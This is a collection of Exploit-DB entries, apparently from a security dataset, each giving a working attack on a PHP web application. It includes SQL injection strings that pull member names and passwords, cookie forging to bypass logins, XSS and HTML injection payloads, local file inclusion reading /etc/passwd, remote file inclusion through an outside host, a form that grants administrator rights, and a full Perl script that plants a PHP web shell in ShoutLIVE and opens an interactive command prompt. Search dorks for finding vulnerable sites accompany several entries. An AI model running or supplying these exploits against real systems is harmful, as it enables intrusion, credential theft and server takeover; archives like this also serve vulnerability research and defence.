deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11564
Description: ShortCMS 1.11F(B) (con) - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-24
Author: Gamoscu

Exploit:
ShortCMS v. 1.11F(B) (con) SQL Injection  Vulnerability 
  
###########################
  
Author    : Gamoscu 
Homepage  : http://www.1923turk.com 
Blog      : http://gamoscu.wordpress.com/ 
Script    : ShortCMS
Download  : http://www.shortcms.de/index.php?dwnldct
  
###########################  
    
[ Vulnerable File ]

printview.php?func=con&pvid= [ SQL ]
     

[ XpL ]
  
-1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist--


[ Demo]
    
    
http://server/kde/printview.php?func=con&pvid=-1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist--
    
   
##############################################################  
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
##############################################################
Exploit-DB #9419
Description: Shorty 0.7.1b - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-08-12
Author: Pedro Laguna

Exploit:
Vulnerable Software
--------------------------------------------------------------------------------
Script: Shorty v0.7.1 Beta (maybe other versions)
URL:http://get-shorty.com/
Download:http://get-shorty.com/beta?force=download
Google dork: intitle:"Shorty (Beta)"

Bug
--------------------------------------------------------------------------------
[functions.php]

45: function authenticate(){
46:     $cookie = @$_COOKIE['snickerdoodle'];
47:     if($cookie == "polarbears"){
48:          //
49:      } else {
50:          exit("Not logged in.");
51:      }
52:  }
53:
54:  function verify(){
55:      if(@$_COOKIE['snickerdoodle']){
56:          $cookie = $_COOKIE['snickerdoodle'];
57:      } else {
58:          $cookie = '';
59:      }
60:      if($cookie == "polarbears"){
61:          return 1;
62:      } else {
63:          return 0;
64:      }
65:  }

[/functions.php]

Exploit
--------------------------------------------------------------------------------
Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in
the admin login you want to bypass or create the cookie with you favorite
Firefox extension.

# milw0rm.com [2009-08-12]
Exploit-DB #30479
Description: Shoutbox 1.0 - 'Shoutbox.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25254/info

Shoutbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Shoutbox 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/shoutbox.php?root=http://www.example2.com?cmd=id
Exploit-DB #10168
Description: Shoutbox 1.0 - HTML / Cross-Site Scripting Injection
Type: webapps
Platform: php
Date: 2009-11-18
Author: SkuLL-HackeR

Exploit:
# Vulnerable Code in index.php :
#
# <p><strong><?php echo $names[$i]; ?>:</strong> <?php echo $shouts[$i]; ?></p>
#
########################################
# Shoutbox 1.0 HTML / Xss inejction exploit
# AuTh0r  : SKuLL-HacKeR                                                
# H0ME     : Sec-Best & SaudiHack & S3curity-Art                        
# Email    : My@Hotmail.iT                                              
########################################
 
Vendor: http://www.plohni.com
exploit: 
site.com/Shoutbox/index.php
in the select your name and your text put this code 
'">><script>alert('XSS skh')</script>
Exploit-DB #21668
Description: ShoutBox 1.2 - 'Form' HTML Injection
Type: webapps
Platform: php
Date: 2002-07-29
Author: delusion

Exploit:
source: https://www.securityfocus.com/bid/5354/info

shoutBOX does not sufficiently sanitize HTML tags from input supplied via form fields. Attackers may exploit this lack of input validation to inject arbitrary HTML and script code into pages that are generated by the script. This may result in execution of attacker-supplied code in the web client of a user who visits such a page. HTML and script code will be executed in the security context of the site hosting the software. 

In the Site URL text box, type in:

"></a><html code goes here><a href="
Exploit-DB #5813
Description: SHOUTcast Admin Panel 2.0 - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-14
Author: CWH Underground

Exploit:
============================================================
 Shoutcast Admin Panel 2.0 Local File Inclusion Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 14 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : WallCity-Server: Shoutcast Admin Panel
 VERSION     : 2.0
 DOWNLOAD    : http://downloads.sourceforge.net/shoutcastadmin
#####################################################

---LFI---

-------------------------
 Vulnerable in index.php
-------------------------

@Line

    79: if (isset($_GET['page']))
    80:         $page = $_GET['page'];
    81: else
    82: 	$page = "main";
    .
    .
    .
   204:  <?PHP if(!include("pages/".$page.".php"))
   205:		{
   206:			table("Achtung!");
   207:			echo "Die Seite existiert nicht!"; 
   208:			closetable();
   209:		}
   210:	 ?>

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/wallcity/index.php?page=../../../../../../etc/passwd%00


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-14]
Exploit-DB #33714
Description: SHOUTcast DNAS 2.2.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-06-11
Author: rob222

Exploit:
# Exploit Title: SHOUTcast DNAS v2.2.1 win32 XSS\HTML Injection in Song history  (other version may be also affected)
# Date: 2014-06-11 
# Exploit Author: robercik101
# Vendor Homepage: http://www.shoutcast.com/ ?t=373139
# Software Link: http://forums.winamp.com/showthread.php?t=373139
# Version: 2.2.1 for Win32
# Tested on: Windows 8.1
There is an XSS\HTML Injection in a song history in song history, allowing inject a JavaScript script or HTML code in site.
PoC:
1. Open yours MP3 file setting, and open details overlap.
2. In the title field enter your HTML code
3. Start streaming your MP3 file via Winamp with SHOUTcast Source DSP 
4. Open your SHOUTcast page (default: localhost:8000) in your favourite Internet browser, login to server (if it needed) and open Song history.
And it is all
http://robercik101.tk
Exploit-DB #11305
Description: ShoutCMS - 'content.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-01
Author: Zero Cold

Exploit:
Shout! (content.php) Blind Sql Injection Vulnerability
=======================================================

####################################################################
.:. Author         : Zero Cold [zero-cold@msn.com]

.:. Team           : Sec Attack Team

.:. Home           : www.sec-attack.com/vb

.:. Script         : Shout! Script

.:. Vendor         : http://www.mediashaker.com/index.php

.:. Bug Type       : Blind Sql Injection

.:. Dork           : [1] "Powered by Shout!"
                     [2] intitle:"Shout" inurl:"admindex.php"

####################################################################

===[ Exploit ]===

www.site.com/content.php?id=54+and+1=1       >>> True
www.site.com/content.php?id=54+and+1=2       >>> False


www.site.com/content.php?id=54+and substring(@@version,1,1)=4  >>> True
www.site.com/content.php?id=54+and substring(@@version,1,1)=5  >>> False



####################################################################

Greats T0: HackxBack & AtT4CKxT3rR0r1ST & SAD All My Friend & All Member Sec Attack
Exploit-DB #1590
Description: ShoutLIVE 1.1.0 - 'savesettings.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-18
Author: DarkFig

Exploit:
#!/usr/bin/perl
##################################################
# ShoutLIVE <= 1.1.0 Remote Php Code Execution
# Based on: http://www.frsirt.com/bulletins/4109
# Credits: Coded by DarkFig
# Website: http://disarm.free.fr/bo_hard/
# Greetz: All AcidRoot/Bod members =)
##################################################
use IO::Socket;
use LWP::Simple;

if(!$ARGV[1]){headers();
print "\n| Usage: perl shoutlive110.pl <host> <path>   |
+---------------------------------------------+
| Coded by DarkFig |
+------------------+
";exit}

sub headers() {
print "\n
+----------------------------------------------+
| ShoutLIVE <= 1.1.0 Remote Php Code Execution |
+----------------------------------------------+";}

$host = $ARGV[0];
$path = $ARGV[1];
headers();
$ncon = "\n [-]Can't connect to $host...";
$ycon = "\n [+]Connected to $host...";
$sdat = "\n [~]Sending malicious request...";
$ycmd = "\n [+]System command writed...";
$req1 = "send_email=0\" ?> <? \$cmd = \$_GET\['cmd']; system(\$cmd); ?> <? #";
$lgr1 = length $req1;
$psti = "$path"."savesettings.php";

my $sock = new IO::Socket::INET(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or die "$ncon";
print "$ycon"."$sdat";
print $sock "POST $psti HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: $lgr1

$req1\n";
close($sock);
print "$ycmd";

while(1 ne 2){
print "\n [$host]\$ ";chomp($cmd = <STDIN>);
if($cmd eq "exit"){eofi();}
$req2 = "http://"."$host"."$path"."settings.php"."?cmd="."$cmd";
$page = get($req2) or die "$ncon";
print $page;}

sub eofi() {
print "+----------------------------------------------+
|     Coded by DarkFig : [*BoD*]_AcidRoot      |
+----------------------------------------------+\n";exit;}

# milw0rm.com [2006-03-18]
Exploit-DB #50941
Description: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-05-17
Author: Akshay Ravi

Exploit:
# Exploit Title: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Akshay Ravi
# Vendor Homepage: https://github.com/star7th/showdoc
# Software Link: https://github.com/star7th/showdoc/releases/tag/v2.10.3
# Version: <= 2.10.3
# Tested on: macOS Monterey
# CVE : CVE-2022-0967

Description: Stored XSS via uploading file in .ofd format

1. Create a file with .ofd extension and add XSS Payload inside the file
	
	filename = "payload.ofd"
	payload = "<script>alert(1)</script>"

2. Login to showdoc v2.10.2 and go to file library
	
	Endpoint = "https://www.site.com/attachment/index"

3. Upload the payload on file library and click on the check button
4. The XSS payload will executed once we visited the URL
Exploit-DB #51745
Description: Shuttle-Booking-Software v1.0 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2023-10-09
Author: nu11secur1ty

Exploit:
## Title: Shuttle-Booking-Software v1.0 - Multiple-SQLi
## Author: nu11secur1ty
## Date: 09/10/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/shuttle-booking-software/#sectionPricing
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The location_id parameter appears to be vulnerable to SQL injection
attacks. A single quote was submitted in the location_id parameter,
and a database error message was returned. Two single quotes were then
submitted and the error message disappeared.
The attacker easily can steal all information from the database of
this web application!
WARNING! All of you: Be careful what you buy! This will be your responsibility!

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: location_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
AND 1347=1347 AND ('MVss'='MVss&traveling=from

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
    Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
AND GTID_SUBSET(CONCAT(0x716b786a71,(SELECT
(ELT(9416=9416,1))),0x71706b7071),9416) AND
('dOqc'='dOqc&traveling=from

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: controller=pjFrontPublic&action=pjActionGetDropoffs&index=348&location_id=3''')
AND (SELECT 1087 FROM (SELECT(SLEEP(15)))poqp) AND
('EEYQ'='EEYQ&traveling=from
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Shuttle-Booking-Software-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/shuttle-booking-software-10-multiple.html)

## Time spent:
01:47:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #45773
Description: SiAdmin 1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-05
Author: Ihsan Sencan

Exploit:
# Exploit Title: SiAdmin 1.1 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-04
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.bubul.net/
# Software Link: https://kent.dl.sourceforge.net/project/siadmin/SiAdmin%201.1/SiAdmin%201.1.zip
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/modul/mod_beasiswa/print.php?op=print&id=[SQL]
# 
GET /[PATH]/modul/mod_beasiswa/print.php?op=print&id=-4%27%20%20UNION%20%20SELECT%201,2,3,4,5,6,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),8--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=va3kfka1v4dqvadpkdpm7f7vs0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 13:22:52 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=0, must-revalidate
Pragma: public
Content-Disposition: inline; filename="Ansanwan-Laporan.pdf"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/pdf

# POC: 
# 2)
# http://localhost/[PATH]/show.php?op=beasiswa&act=lihat&id=[SQL]
# 
GET /[PATH]/show.php?op=beasiswa&act=lihat&id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%37%2c%38%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=va3kfka1v4dqvadpkdpm7f7vs0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 13:30:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6079
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #36482
Description: Siena CMS 1.242 - 'err' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-01
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/51218/info

Siena CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Siena CMS 1.242 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?err=[XSS]
Exploit-DB #12260
Description: SIESTTA 2.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-16
Author: JosS

Exploit:
####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://ramoncastro.es/siestta_old/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
####################################################################


- [#LFI] <login.php>

<?php

require('idioma/'.$idioma.'');
...
?>

!EXPLOIT: /login.php?idioma=/../../../../../../../../../../../etc/passwd%00

- [#XSS] <carga_foto_al.php>

<?
...
$usuario = $_GET['usuario'];
$imagen = 'admin/fotos_al/'.$usuario.'.jpg';
echo '<p style="text-align:center;">
<img class="foto" src="'.$imagen.'" alt="'.$usuario.'" /></p>
...
?>

!EXPLOIT: /carga_foto_al.php?usuario=
Exploit-DB #4581
Description: Sige 0.1 - 'sige_init.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-28
Author: GoLd_M

Exploit:
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%  Sige 0.1 sige_init.php Remote File Inclusion Vulnerability
%  http://mesh.dl.sourceforge.net/sourceforge/pfadmin/sige_0.1.tgz
%  POC :
%  /inc/sige_init.php?SYS_PATH=http://localhost/scripts/020.txt?
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

# milw0rm.com [2007-10-28]
Exploit-DB #34177
Description: Sigmer Technologies Scribe CMS - 'copy_folder.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41000/info

Sigmer Technologies Scribe CMS is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

https://www.example.com/path/copy_folder.php?path=SITE/%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #14260
Description: Sijio Community Software - SQL Injection / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-07
Author: Sid3^effects

Exploit:
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Name : Sijio Community Software SQLi/Persistent XSS Vulnerability
Date : july, 7 2010
Critical Level 	: HIGH
Vendor Url : http://www.sijio.com/
Google Dork: © Powered by sijio - Community Software
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Xploit:SQLi Vulnerability 

DEMO URL : http://server/gallery/?parent=[SQLi]
########################################################################################################
Xploit:Persistent XSS Vulnerability

 The following script has persistent xss vuln in the blog section. 
Step 1: Register :D 

Step 2: Goto your blog section and post your new evil blog :P

Demo url :http://server/my_blogs/

Post your evil xss content in the blog section and the url is http://www.axlex.com/edit_blog/

Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 
Step 3 : Now goto the main page,check the blog section and the url is http://www.axlex.com/blogs/ and find your evil script:P
 
The attacker can injected evil xss script in the blog section :D 
########################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #565
Description: Silent Storm Portal - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-09-30
Author: CHT Security Research

Exploit:
Demonstration:

Register a user account then login and run the exploit.html

---exploit.html----
<form method="post" action="http://www.victim.com/index.php?module=../../profile">
<input type="text" name="mail" value="any mail com"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---

That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database file.
( 1: Administrator,2: is Normal User. )

# milw0rm.com [2004-09-30]